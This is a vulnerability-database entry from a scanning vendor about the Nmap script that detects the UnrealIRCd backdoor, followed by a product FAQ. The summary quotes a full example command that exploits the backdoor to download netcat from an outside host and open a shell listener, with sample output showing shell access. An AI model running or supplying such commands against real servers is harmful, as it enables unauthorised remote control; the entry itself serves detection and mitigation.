Vulnerability Details

Nmap NSE net: irc-unrealircd-backdoor

Published: 2011-06-01 14:32:46

CVSS Base Vector:
AV:N/AC:L/Au:N/C:P/I:P/A:P

Detection Type:
remote_analysis

Summary:
Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond. The 'irc-unrealircd-backdoor.command' script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a netcat listener as demonstrated here:' $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse -script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' $ ncat -vv localhost 4444 Ncat: Version 5.30BETA1 (http://nmap.org/ncat) Ncat: Connected to 127.0.0.1:4444. pwd /home/ron/downloads/Unreal3.2-bad whoami ron ' Metasploit can also be used to exploit this vulnerability. In addition to running arbitrary commands, the 'irc-unrealircd-backdoor.kill' script argument can be passed, which simply kills the UnrealIRCd process. SYNTAX: irc-unrealircd-backdoor.wait: Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). irc-unrealircd-backdoor.kill: If set to '1' or 'true', kill the backdoored UnrealIRCd running. irc-unrealircd-backdoor.command: An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern '%IP%' will be replaced with the ip address of the target host.

Solution Type:
Mitigation

References:

http://seclists.org/fulldisclosure/2010/Jun/277
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor

Severity
High
CVSS Score
7.5
Published
2011-06-01
Modified
2018-10-26
Category
Nmap NSE net

Free Vulnerability Scanning, Assessment and Management

Mageni's Platform is packed with all the features you need to scan, assess and manage vulnerabilities like this - it is free, open source, lightning fast, reliable and scalable.

Router
Servers
Laptop
Database
Group
Cloud

Frequently Asked Questions

No, you can scan concurrently as many assets as you want. Please note that you must be aware of the hardware requeriments of the platform to ensure a good performance.

No, you can add as many assest as you want. It doesn't matters if you have millions of assets, we won't charge you for that.

No. The software is completely free. We have no intention to charge you to use the software, in fact - it completely goes against our beliefs and business model.

A vulnerability is defined in the ISO 27002 standard as “A weakness of an asset or group of assets that can be exploited by one or more threats” (International Organization for Standardization, 2005)

We generate revenue by providing support and other services for customers that require a subscription so they get guaranteed support and enterprise services. To use Mageni's Platform is completely free, with no limits at all.

Yes. Mageni understands that there are professionals and businesses that need commercial support so Mageni provides an active support subscription with everything needed to run Mageni's Platform reliably and securely. More than software, it's access to security experts, knowledge resources, security updates, and support tools you can't get anywhere else. The subscription includes:

  • Ongoing delivery
    • Patches
    • Bug fixes
    • Updates
    • Upgrades
  • Technical support
    • 24/7 availability
    • Unlimited Incidents
    • Specialty-based routing
    • Multi-Channel
  • Commitments
    • Software certifications
    • Software assurance
    • SLA

No, we don't store the information of your vulnerabilities in our servers.

Vulnerability management is the process in which vulnerabilities in IT are identified and the risks of these vulnerabilities are evaluated. This evaluation leads to correcting the vulnerabilities and removing the risk or a formal risk acceptance by the management of an organization. The term vulnerability management is often confused with vulnerability scanning. Despite the fact both are related, there is an important difference between the two. Vulnerability scanning consists of using a computer program to identify vulnerabilities in networks, computer infrastructure or applications. Vulnerability management is the process surrounding vulnerability scanning, also taking into account other aspects such as risk acceptance, remediation etc. Source: "Implementing a Vulnerability Management Process". SANS Institute.

I am ready to start scanning for vulnerabilities